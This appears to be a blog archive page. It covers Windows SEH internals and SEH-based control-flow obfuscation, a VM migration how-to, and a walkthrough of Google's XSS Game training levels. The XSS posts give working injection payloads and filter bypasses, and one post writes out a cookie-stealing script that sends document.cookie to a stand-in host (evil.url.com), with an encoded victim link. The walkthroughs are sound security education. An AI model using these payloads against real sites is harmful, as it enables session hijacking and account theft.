DISCLAIMER: The information in this site is for educational purpose only. The authors of this blog are not responsible for any kind of misuse of this information.

Saturday, November 15, 2014

WIN32 SEH

Saluton !

Today I gonna dump some facts about Windows Structured Exception Handling (SEH) mechanism. This article is mostly based on This great article.

OK, some dry facts about exception handling in Windows:
  • per thread
  • FS:[0] (TIB first dword) points to the first EXCEPTION_REGISTRATION struct
_EXCEPTION_REGISTRATION struct
     prev    dd      ? // EXCEPTION_REGISTRATION linked list next record
     handler dd      ? // _except_ handler callback function pointer
_EXCEPTION_REGISTRATION ends
except_handler callback 
  • can agree/decline to handle a given exception
    • if declined, the system will continue looking for other exception handler
 EXCEPTION_DISPOSITION __cdecl _except_handler(
     struct _EXCEPTION_RECORD *ExceptionRecord,
     void * EstablisherFrame,
     struct _CONTEXT *ContextRecord, // registers values when exception occured
     void * DispatcherContext );
 typedef struct _EXCEPTION_RECORD
 {
     DWORD ExceptionCode; // assigned by OS
     DWORD ExceptionFlags;
     struct _EXCEPTION_RECORD *ExceptionRecord;
     PVOID ExceptionAddress; // where the exception occured
     DWORD NumberParameters;
     DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
 }  EXCEPTION_RECORD;
 Exception handling flow:


 

  • Exception occurred
  • The system walks the EXCEPTION_REGISTRATIONs linked list to find a hanlder
  • when a handler agreed to handle the exception all the handlers before it are called again with flag EH_UNWINDING (to allow cleanups*) 

    * when handler declines handling an exception, control typically doesn't exit from the function normally - calling dtors and finally blocks
  • execution continues wherever the handling callback decides (with ebp, esp set by the handler)
 Unwinding from an exception 
  • all things below the handling frame's stack region are "removed"
  • EXCEPTION_REGISTRATIONs in the list prior to the one that handled the exception are removed from the list
  • see step 11 in the above figure 
 The last EXCEPTION_REGISTRATION element
  • default OS supplied exception handler (terminate / debug dialog)
  • always agrees to handle an exception
  • if no debugger is installed, the default dialog you will see may be similar to this:

Visual C++  Compiler level SEH
  • every EXCEPTION_REGISTRATION handler points to the same VC++ runtime lib function __except_handlerX
  • only one EXCEPTION_REGISTRATION is created per function on the stack

The Extended Exception Handling Frame

 EBP-00 _ebp
 EBP-04 trylevel
 EBP-08 scopetable pointer
 EBP-0C handler function address
 EBP-10 previous EXCEPTION_REGISTRATION
 EBP-14 GetExceptionPointers // pointers to GetExceptionInformation, GetExceptionCode

 EBP-18 Standard ESP in frame

struct _EXCEPTION_REGISTRATION{
      struct _EXCEPTION_REGISTRATION *prev;
      void (*handler)(PEXCEPTION_RECORD,
                      PEXCEPTION_REGISTRATION,
                      PCONTEXT,
                      PEXCEPTION_RECORD);
       struct scopetable_entry *scopetable;
       int trylevel; // index into scopetable
       int _ebp; // ebp value before the EXCEPTION_REGISTRATION was created
       PEXCEPTION_POINTERS xpointers;
};
 typedef struct _SCOPETABLE
 {
     DWORD       previousTryLevel; // the next level try block trylevel (most in -> out)
     DWORD       lpfnFilter
     DWORD       lpfnHandler
 } SCOPETABLE, *PSCOPETABLE; 

There is more to learn about this mechanism but I'll stop here. What we know now is sufficient to reverse a program that uses SEH & Exceptions to obfuscate its execution flow.

The main idea behind this technique is expressed in the following simple example:

void foo() 
{
    printf("code line #1\n");
    printf("code line #2\n");
    printf("code line #3\n");
}

will become:
void foo()
{
    try 
    {
        // exception
    }
    catch(...) 
    {
        printf("code line #1\n");
        try 
        {
            // exception
        }
        catch(...)
        {
            printf("code line #2\n");
            try 
            {
                // exception
            }
            catch(...)
            {
                printf("code line #3\n");
            }
        }
    }
}


Friday, July 11, 2014

Challenge of a different kind - Exporting a Virtual PC Windows XP Mode VM to VirtualBox

Hola ~!

Today I wanna share a solution to a technical challenge I encountered - Exporting a Virtual PC Windows XP Mode VM to VirtualBox.

Reason: Virtual PC is a good virtualization framework but I wanted to have all my VMs in a single place - VirtualBox.

A long search didn't yield any magic solution for this, so I had to think on a strategy.

The most Intuitive solution will be to create a new VirtualBox VM which will use the Windows XP Mode vhd (Virtual Hard Disk). It didn't succeed because this VM is more complex than it looks like:

It composed of a vhd for the specific Windows XP Mode instance and a parent vhd for all the Windows XP Mode instances in Virtual PC.

I can see why this design is efficient but it damages VM portability - The user will have to copy two vhds to set the same VM on a different machine. 
In addition, this concept isn't standard and isn't supported in other frameworks so exporting the VM is not trivial at all.

TL;DR ? The solution: disk2vhd from the legendary SysInternals Suite !

The first task will be to export Windows XP Mode VM as independent VM:

1. run disk2vhd on the  Windows XP Mode VM and choose all partitions
2. checkboxes:
  • _ Prepare for use in Virtual PC
  • _ Use Vhdx
  • V Use Volume Shadow Copy
3. choose a vhd file name
4. Hit create button !
  
Now we have a vhd with our complete Windows XP VM, independent from Windows Virtual PC. 

The second task will be to import it to VirtualBox:
1. create new Windows XP VM
2. choose "Existing hard drive" and use the path of the vhd file we created.
3. start the machine :)

Some notes:
* while copying the vhd file from the guest to host, make sure the system doesn't go to sleep ... otherwise the copy will fail

Solved !

Tuesday, June 3, 2014

XSS Game Insights

The XSS Game demonstrates one of the most common vulnerabilities found in the wild - Cross Site Scripting.
This vulnerability allows us, as attackers, to inject client side code into pages which will be executed on a victim client with the rest of the client code on the page.
In this challenge, we attack ourselves. This is the first step, the PoC (proof of concept) to demonstrate the vulnerability existence. 'alert' was executed successfully therefore any other code will do.

The second step will be to exploit the vulnerability.
 For example, an attacker can write a simple client side code to steal victim's cookies from the vulnerable site (why not all cookies ? read more SOP):

function httpGet(url)
{
    var xmlHttp = new XMLHttpRequest();
    xmlHttp.open("GET", url, false);
    xmlHttp.send(null);
}
httpGet("evil.url.com?cookies="+document.cookie);

Try to inject it to level 1 (wrap this code with <script>...</script>). As you can see, when the page with our injected code will be rendered on the victim, a HTTP request to our site (evil.url.com) will be generated with the user's cookies }:-D.

So our exploit is ready and tested locally. Now we want to attack the victim.

In the case of level 1 we will have to provide the victim with a url containg our code in the query parameter:

xss-game-url/level1/frame?query=%3Cscript%3E+function+httpGet%28url%29+{+var+xmlHttp+%3D+new+XMLHttpRequest%28%29%3B+xmlHttp.open%28%22GET%22%2C+url%2C+false%29%3B+++++xmlHttp.send%28null%29%3B+}+httpGet%28%22evil.url.com%3Fcookies%3D%22%2Bdocument.cookie%29%3B+%3C%2Fscript%3E

If the victim installed a plugin such as NoScript, this simple XSS attack will be prevented (recommended).

That's it. In this post I wanted to give a more whole picture about XSS attacks.

Happy XSSing ! :D (only on yourself of course ...)

Friday, May 30, 2014

XSS Game 6/6

Lets start by inspecting the interesting parts of the source code:
    ...
    function includeGadget(url) {
      var scriptEl = document.createElement('script');

      // This will totally prevent us from loading evil URLs!
      // NOT ! ]:-)
      if (url.match(/^https?:\/\//)) {
        setInnerText(document.getElementById("log"),
          "Sorry, cannot load a URL containing \"http\".");
        return;
      }

      // Load this awesome gadget
      scriptEl.src = url;

      // Show log messages
      ...

      document.head.appendChild(scriptEl);
    }

    // Take the value after # and use it as the gadget filename.
    function getGadgetName() { 
      return window.location.hash.substr(1) || "/static/gadget.js";
    }

    includeGadget(getGadgetName());
    ...

It seems like we just have to provide a url to a js file with alert call.

I used http://tempsend.com to upload my js file which contains:
 alert("Owned!"); 

Now we want to include it in the victim page. It's challenging, the http:// prefix of a url is sanitized. There are some ways to bypass it:
  • When passing url with // prefix the used protocol is the same of the protocol used to fetch the calling page (in our case http, as required).
  • We can use uppercase prefix (HTTP://) which is not sanitized (or partly uppercase prefix such as HttP://)
  • We can upload our js file to a server supporting https://
We change the gadget script parameter to be:
//tempsend.com/path/to/alert.js
And this level is ... Owned !

OWNED THE CAKE !!! Omnumnumnum

                                                         -oooo:-                                                        
                                                        omhsoosho`                                                      
                                                        Ndo:``:oh-                                                      
                                                        dms+--+ym:                                                      
                                                        -ymhohdh+`                                                      
                                                         `N/`.s.                                                        
                                                          +:  +                                                         
                                                          --  :                                                         
                                                          --  o                                                         
                                                          ..  +                                                         
                                                          ::  s        ..`                                              
                                                .:sssso.  --  +     :syhhyo`                                            
                                ..::::.       `odhhyyhdd. ::  s    .mhhyhhdh.       -:...`                              
                               /dhhhhhhs     .odddhyhdddh+y:  my-syhdhhyhhddy/`   .odhyyhh:                             
                              yNdhyyoyhmo+::+ms/+++//++/odm:  NNmNd+///+++/+ody::omhyssyhdm-                            
                            -sddyyyyyyyoommmmmmdhyyyyyyhddd: `ddmdmdhyssyyhhmmNNNNdhyyyyyhmo-`                          
                        ``-omdyyyssys///shdddddddddmmdddhyy-``yhddddhhhhhdmmmmmmdd/oyssyyyyhmhss-`                      
                     `:ohhdmddhhyyyyyshddddhhyyyyyhddhhyo:-...--shhyysssyyhhdhhhddyyysyyyhdddmNNmyo.                    
                    /hNNmmd/:o+/////:`/osyhhyyys+syyhhyysysooossyyyyyooyyyyyyysyy+./oooooos/:ydNNmNmo.                  
                   +dNmmmmmhoo+///////oossshhyyyyyyyyssoossoosoosssyyyyyyyhsoyyyys/:-..--:/+sdddmmmNMy                  
                  `hNmmdmmdmddddhhhyhysso+.oyssssso-./o:-/+oo++oo--osoooooo..oyyhyyyyyyhhhyhdddmmdmNNN                  
                  `yNmNNhhdmdddhhhyyyyyyys:-......`./+++/:o++oo++/-````..::/+sysysyyyhsshhhydddmmmNNNN                  
                   sMNNNNNNmmdmdhhhhyyyyyyhhssssoo+oo/+//:/+//+:++++ooosyooyssosyyhhyhsshdhdmmNmNmmMMN                  
                   -NNNNNNhmNmdmmmdddddmhhhyyyyssys///+/:://////o+osoo+osoossosyhhdddh+omddmNNmmNmNMMN                  
                   oMNNNNNNNNdydNmmmmmdhydhhsoooodhydhsshys+soyooooosssyhyhymdhdhyddmmmdmNNNNNNmNNNMMM                  
                   yMMNNNMmmNdmmNNNNNNmh/sysyysyhyddmhhyhyhhddyyyhmddhhdmdddmmmdmmmmNNmmmNmNNNNmMNMMMM                  
                  .dMMNNMMNNNmNNNNNNmmNNhsddddNNdmhdmddyyhdhdhdddhdmhhdddhmddmmmNNNNNNNNNNNNNNNNMNMMMM                  
                  :NMMMNMMNMNhhmNNNNmdmNNmhddmdNmmmmmmddddNmdhdhddddmddmmmmmmNdNmdmmNNNmNNNNNdmMMMMMMM                  
                  -mMMMMMNNmNNmNNNNNNNNNNNdmmNmNmNmNmmNNmmNNdhddmmmmNmhhhyohNMNMNmmmmNdmNNMMMNNMMMMMMM                  
                  .dMMMMMMNNNMMMMMNNNNNMNmmmNNNmmmmNNdddmmNNNmmdNNmNNNmmNNNNNNNNNNNNNNNmNNNNNmNMMMMMMM                  
                  :NMMMMMMMMMMMMMMMNmmNMNNNNNNNmmNmNNNNmdmNNNNNNNmNNdmNNMMNMmNNNNNNMMNdmNNNMNmmMMMMMMM                  
                  :NNMMMMMMMMMMMMMMMMNNMNNMNNNMMMNNNNNNmNmdmmmNNNNNNmmNNNNNNNNNNMNNMMMNNNNMMNmMMMMNNMN                  
                  :NMMMNNMMMMMMMMMMMMMNNMMMMNMMMNmNNMNNNNNmhNMNNMNNNMMNMMMMMNNMMNNNMNMMMMNMMNNMMNMNMMM                  
                  `hMMMNdMNNMNNNNNMMNNNNMMMMMMMMNmNMMMMNNNNNNNdmmmMNMMMMMMNNMMNmdNMMNMNNNNMNmmNMNMMMMN                  
                   yMMMMNMMNMNmmNNNMNmddmMMNNNMNNNNNMMNNNNMNNNNNNNmNNNNNNNNNNNNNddNdmdmmNNMNNdMMMMMMMN                  
                   yMMMMNMNMMNNMMNNNNmdmmNMNNdhmMNNNNNNmNMMddddmNNNmNNMMNmNmmmmmNNmmmmNMMMMMMNNNMMMMMN                  
                   yNNNMMNNMMMMMMNNNNNMmmdNNNNNNNNNNNNmNNNNNmNmmNNNNNNNNNNNmNmNNNNNNNNNNNNNMMMNNMMMMMy                  
                   +MMMMMMMMMMMNNNNMMMNNNNmNNNMNMNNMNNmhdNNNNNmNNNmmNNNNNNNNNNNMMNNmNNNNNMNMNMMMMMMMN:                  
                    NMMMMNMMMMMMMNNNNNNdNMNNNNNNmNNNNNNNNNmmhNNNNmdNNNNNNNNNMMNNMNNNNNNNNNMMMMNNMMMNs`                  
                    -sdmNMNNMMMMMNNNNmmmmNNNMNmNMNNNNNNNMNmNNNNNNmmmdmNNNMNmmmmNMNNMNMmmNNMMMNMNmd+-`                   
                      `.ohNNMMNMMNMNNmdmNNNNNNmNMNNMNNNNmNNNmmmNmNMMNNMNNMMNNNNNNNNNNMMMMMMMNNho.`                      
                          :+hdNNNNNNNNNNNNNNmNNNNNNNMNNNmNNNNmMmmmNNNMNNNNNNNNMNNMMMMMNNmdds/-                          
                             `--:+shddmmNmmmmNNNNMNNNMNNNNNNNNNNMMNMMMNNNmNNNMNNNNdh++/-.`                              
                                     `--++osdddddddysNmmhshmmmmmNmddddddho/:++/---                                      
                                                    `-.-. .------.                                 

    

XSS Game 5/6

Lets start with behavioral analysis.

Try to signup. We redirected to /frame/signup?next=confirm
enter some email address, we redirected to /frame/confirm and then back to /frame/welcome

seems like the next button on signup page redirected to the value of next parameter!
This means we control the 'href' attribute of the <a> tag (we can see it also in the source)
lets try to put inline javascript in it :
next=javascript:alert('Owned!')
 And ... Owned !

XSS Game 4/6

OK another one :)

As always we start with behavioral analysis. Lets give some number to the timer. Oh, we redirected to another page with a waiting message:

"Your timer will execute in <timer> seconds."

<timer> is the value we passed in the previous page. The first page contains a form which generates a HTTP GET request with the parameter 'timer' to timer.html (the actual HTTP GET request is to index.html but the webserver redirect it to timer.html if a 'timer' parameter was added) 

OK, cool. Instead of giving a numerical value lets inject some html tag >:)


<b>XSS?</b>
=O It was sanitized! Meaning the real fun begins :D

lets inspect timer.html page:
<script>

      function startTimer(seconds) {

        seconds = parseInt(seconds) || 3;

        setTimeout(function() {

          window.confirm("Time is up!");

          window.history.back();

        }, seconds * 1000);

      }

    </script>

  </head>

  <body id="level4">

    <img src="/static/logos/level4.png" />

    <br>

    <img src="/static/loading.gif" onload="startTimer('<timer_value>');" />

    <br>

    <div id="message">Your timer will execute in {{ timer }} seconds.</div>

we will try to inject our code to:
onload="startTimer('<timer_value>');"
This is strategic place because this code is executed on page load.

For injecting without any annoying popups, lets start our injected timer value with 100000000.
The timer won't be triggered soon, we have time to work without interrupts :)

timer=100000000

first, we want to escape from the '...' context. Lets inject timer=100000000%27 (%27 represents ' in hex-encoded ascii).
We get Uncaught SyntaxError: Unexpected token ILLEGAL In Chrome console. It seems that now we broke something - the ' we injected messed up the timer value warpping.

Lets continue with calling to alert.
we want something like this: startTimer('1');alert('Owned!');
timer written hex-encoded: timer=1%27%29%3Balert%28%27Owned!

Notice we didn't inject the closing ') for the alert because it already was there.
We changed the time value to 1 to avoid waiting forever for the timer to fire up.

Owned !

XSS Game 3/6

Hola mocosos!

On this level we have a site without any input fields. Interesting, isn't it the only channel to enter input ?

Of course not ! The most basic user input is the URL he enters in his browser which generates a HTTP GET request sent to the HTTP server. This request can carry user parameters for loading the required page.

Lets begin. When clicking 'Go' we notice that the URL changed to ../frame#1
Interesting. Lets click on Image 2 and Image 3 tabs, the number at the end changed in both cases.

Lets try to get /frame#42. Nice ! The title is Image 42, meaning we have a sort control on the content the victim client is parsing. We notice that no image was loaded, maybe it has something to do with the number we pass ? Maybe it's an index for images container or something ?

Time to raise the bar and inspect client side code ! The inspection is still considered blind because we don't have the server source code (the standard case)

    <script>
      function chooseTab(num) {
        // Dynamically load the appropriate image.
        var html = "Image " + parseInt(num) + "<br>";
        html += "<img src='/static/level3/cloud" + num + ".jpg' />";
        $('#tabContent').html(html);
 
        window.location.hash = num;
 
        // Select the current tab
        var tabs = document.querySelectorAll('.tab');
        for (var i = 0; i < tabs.length; i++) {
          if (tabs[i].id == "tab" + parseInt(num)) {
            tabs[i].className = "tab active";
            } else {
            tabs[i].className = "tab";
          }
        }
 
        // Tell parent we've changed the tab
        top.postMessage(self.location.toString(), "*");
      }
 
      window.onload = function() { 
        chooseTab(self.location.hash.substr(1) || "1"); 
        // [!] the function chooseTab is called 
           //with the parameter after the '#' from the url on load
      }
 
      // Extra code so that we can communicate with the parent page
      window.addEventListener("message", function(event){
        if (event.source == parent) {
          chooseTab(self.location.hash.substr(1));
        }
      }, false);
    </script>
This code gives an explanation to the controlled integer field we observed on first sight.
The most interesting line is:
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
This line shouts: "unsanitized user input is mixed up with code" This code is later sent back to the client which renders it (Javascript code)

Remembers the technique from the previous level ? lets use it again: We will inject this:
1000.jpg' onerror='alert("Owned!")' alt='

We get:
<img src='/static/level3/cloud" + "1000.jpg' onerror='alert("Owned!")' 
alt='" + ".jpg' />
More readable (after concatination):
<img src='/static/level3/cloud1000.jpg' onerror='alert("Owned!")' 
alt='.jpg' />
The image we try to load doesn't exist and the onerror event we defined will be triggered. We added alt attribute to push the hard-coded '.jpg' that was there. alt attribute defines the description of the image >< (So 90s)

We can announce owned ! >:)

XSS Game 2/6

Sup ?

Here we have kind of chatting service (very lame one because of the xss bug in it =D)
Let's start our blind inspection:
Input:
<b>Sup?</b>
As we can see our HTML tags were rendered by the browser too ! No escaping again >:)
the trivial next input will be
<script>alert("Owned?")</script>
But this time it doesn't work (If it was, this level won't teach us nothing we didn't learn from the previous one).
Seems like someone filtered out <script> HTML tags from his chatting service (chatting service requires at most tags for styling such as bold/underline so it's reasonable not to support it)

So ... our trivial injection doesn't work but there are plenty of options to execute javascript on a victim client }:-)

It's a chatting service -- so maybe <img/> is supported. OK, it is. What could be done with that ???
we can define javascript code to be called on events such as onclick, onload, onerror.
  •  The first option will require the victim to click on the image, therefore requires more than just injection (convince the victim to click on it) 
  •  The second option requires a successful image loading so we will have to supply an image to load ... Nobody Got Time For That ! 
  • The third option requires an unsuccessful image loading. Easy ! let's give bad img src value and the event will be fired :) 
<img src='bad_src' onerror="alert('Owned!')"/>

Gotcha!

XSS Game 1/6

Hola ! Lets beat Google's xss-game. You can find it here:
http://xss-game.appspot.com/

To make it more challenging I'll demonstrate it as blind injection :)
OK, we have a popular search engine called '4|4'. Lets check if we can inject HTML at all.

Input : "<script></script>"
Output : "Sorry, no results were found for . Try again."

In the normal case it will be "Sorry, no results were found for . Try again.". This means the server sent the client our input as is and it was rendered as regular HTML code on the page.
Now lets inject the real thing:
<script>alert('Owned!')</script>

Owned ! Now lets see the reason - the server side code that generates this page:
...
    query = self.request.get('query', '[empty]')
       
    # Our search engine broke, we found no results :-(
    message = "Sorry, no results were found for <b>" + query + "</b>."
    message += " <a href='?'>Try again</a>."

    # Display the results page
    self.render_string(page_header + message + page_footer)
...
We can see that our query is mixed with the regular HTML page content without any escaping ... any developer should avoid that.
Let's move on !